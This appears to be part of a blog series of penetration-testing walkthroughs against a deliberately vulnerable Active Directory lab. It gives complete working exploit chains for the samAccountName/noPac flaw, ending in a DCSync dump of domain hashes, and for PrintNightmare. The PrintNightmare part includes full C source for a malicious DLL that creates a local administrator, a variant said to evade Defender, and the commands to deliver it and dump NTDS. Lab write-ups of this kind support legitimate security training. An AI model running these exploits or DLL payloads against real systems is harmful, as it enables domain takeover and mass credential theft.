In the previous post (Goad pwning part4) we played with relay ntlm. During this article we will continue to discover what can be done using a valid domain account
Here we will only try samAccountName exploit and PrintNightmare as MS14-068 is now too old (Windows Server 2012 R2 max).
SamAccountName (nopac)
In the end of 2021 when everyone was worried about the log4j “log4shell” vulnerability another vulnerability raise up with less noise : CVE-2021-42287.
Check if we can add computer
For this attack i will use north/jon.snow:iknownothing
account as we previously get it with kerberoasting in the part3.
Let’s find a cme module to check the machine account quota
1
| cme ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
|
Prepare Impacket
Before exploiting with impacket let’s prepare our impacket version with the pull request we want.
1
2
| cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket
|
1
2
| cd myimpacket
git checkout -b mydev
|
- Create a venv to don’t interfer with the host environment and install the repository we just checkout
1
2
3
| python3 -m virtualenv myimpacket
source myimpacket/bin/activate
python3 -m pip install .
|
- Get the waiting pull requests we want (You can find a huge list of nice PR to merge in exegol install script : https://github.com/ShutdownRepo/Exegol-images/blame/main/sources/install.sh#L286 )
1
2
| git fetch origin pull/1224/head:1224
git fetch origin pull/1202/head:1202
|
- Merge the pull requests to our branch
1
2
| git merge 1202
git merge 1224
|
- Reorder the path entry result to load our pyenv bin before the others in the $PATH (this is needed on zsh, in bash it take directly our pyenv bins)
- Now let’s check we get all the binaries and options we want :
1
2
| renameMachine.py
getST.py
|
- Excellent, we are now using the latest impacket version with Shutdown (@_nwodtuhs) pull requests needed for this attack :)
Exploit
What we will do is add a computer, clear the SPN of that computer, rename computer with the same name as the DC, obtain a TGT for that computer, reset the computer name to his original name, obtain a service ticket with the TGT we get previously and finally dcsync :)
1
| addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
|
- Clear the SPNs of our new computer (with dirkjan krbrelayx tool addspn)
1
| addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
|
- Rename the computer (computer -> DC)
1
| renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing
|
1
| getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword'
|
- Reset the computer name back to the original name
1
| renameMachine.py -current-name 'winterfell' -new-name 'samaccount$' north.sevenkingdoms.local/jon.snow:iknownothing
|
- Obtain a service ticket with S4U2self by presenting the previous TGT
1
2
| export KRB5CCNAME=/workspace/winterfell.ccache
getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug
|
- DCSync by presenting the service ticket
1
2
| export KRB5CCNAME=/workspace/administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
|
And voilà, we got all the north domain ntds.dit informations :)
Now clean up by deleting the computer we created with the administrator account hash we just get
1
| addcomputer.py -computer-name 'samaccountname$' -delete -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH -hashes 'aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4' 'north.sevenkingdoms.local/Administrator'
|
1
2
| Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[*] Successfully deleted samaccountname$.
|
PrintNightmare
To exploit printnightmare we will first check if the spooler is active on targets
Check spooler is active
1
| cme smb 192.168.56.10-23 -M spooler
|
1
| rpcdump.py @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
|
Prepare impacket
- To exploit with cube0x0 script you no longer need the modified impacket version as the modifications as been merged in the main project:
Prepare the dll
- Let’s prepare the exploitation dll
- We will create a user and add it as local administrator
- Create the file nightmare.c:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| #include <windows.h>
int RunCMD()
{
system("net users pnightmare Passw0rd123. /add");
system("net localgroup administrators pnightmare /add");
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
RunCMD();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
|
1
| x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
|
Exploit on old and vulnerable windows server 2016 (meereen)
1
| git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare
|
- Prepare a smb share with the dll
1
| smbserver.py -smb2support ATTACKERSHARE .
|
- Before the exploit no user pnightmare
- Try on Braavos
- Braavos is an up-to-date windows server 2016, the exploit will not work (same error if you try on the north domain on castelblack server)
1
| python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
|
Wait, you use domain connection instead of –local-auth with cme no ?
- Yes, this is because meereen is a domain controler:
“Domain controllers do not have built-in or account domains. Also, instead of a SAM database, these systems use the Microsoft Active Directory directory service to store account access information.”
- see: https://docs.microsoft.com/en-us/windows/win32/secmgmt/built-in-and-account-domains
Exploit on vulnerable windows server 2019 (winterfell)
- Now try the same exploit on a vulnerable windows server 2019
1
| python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
|
- And it works too but the user is not in the administrators group :(
- Nothing due to the exploit, it is just our dll who add a user as administrator who get caught when user is setup as administrator
Good (thing) to know : after some failures the spooler service will be stopped by defender and no more exploit for you until someone restart the server or the spooler service.
Let’s change the payload with another code (source : https://github.com/newsoft/adduser )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
| /*
* ADDUSER.C: creating a Windows user programmatically.
*/
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
// Create user
memset(&ud, 0, sizeof(ud));
ud.usri1_name = _T("pnightmare2"); // username
ud.usri1_password = _T("Test123456789!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
_tprintf(_T("NetUserAdd OK\r\n"), rc, rc);
// Get user SID
b = LookupAccountName(
NULL, // local server
ud.usri1_name, // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
// Add user to "Administrators" local group
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
// Command-line entry point.
int main()
{
return CreateAdminUserInternal();
}
|
- with this payload we can bypass defender and add our user as administrator
- compile
1
| x86_64-w64-mingw32-gcc -shared -opnightmare2.dll adduser.c -lnetapi32
|
1
| smbserver.py -smb2support ATTACKERSHARE .
|
1
| python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@winterfell.north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\pnightmare2.dll'
|
- And enjoy your new admin account by dumping the ntds :)
1
| cme smb winterfell.north.sevenkingdoms.local -u pnightmare2 -p 'Test123456789!' --ntds
|
cleanup
- After the exploitation you will find your dlls inside :
C:\Windows\System32\spool\drivers\x64\3
- And also inside :
C:\Windows\System32\spool\drivers\x64\3\Old\{id}\
- Don’t forget to clean up ;)
Next time we will have fun with ADCS (Certifried, ESC1, ESC8, …) : : Goad pwning part6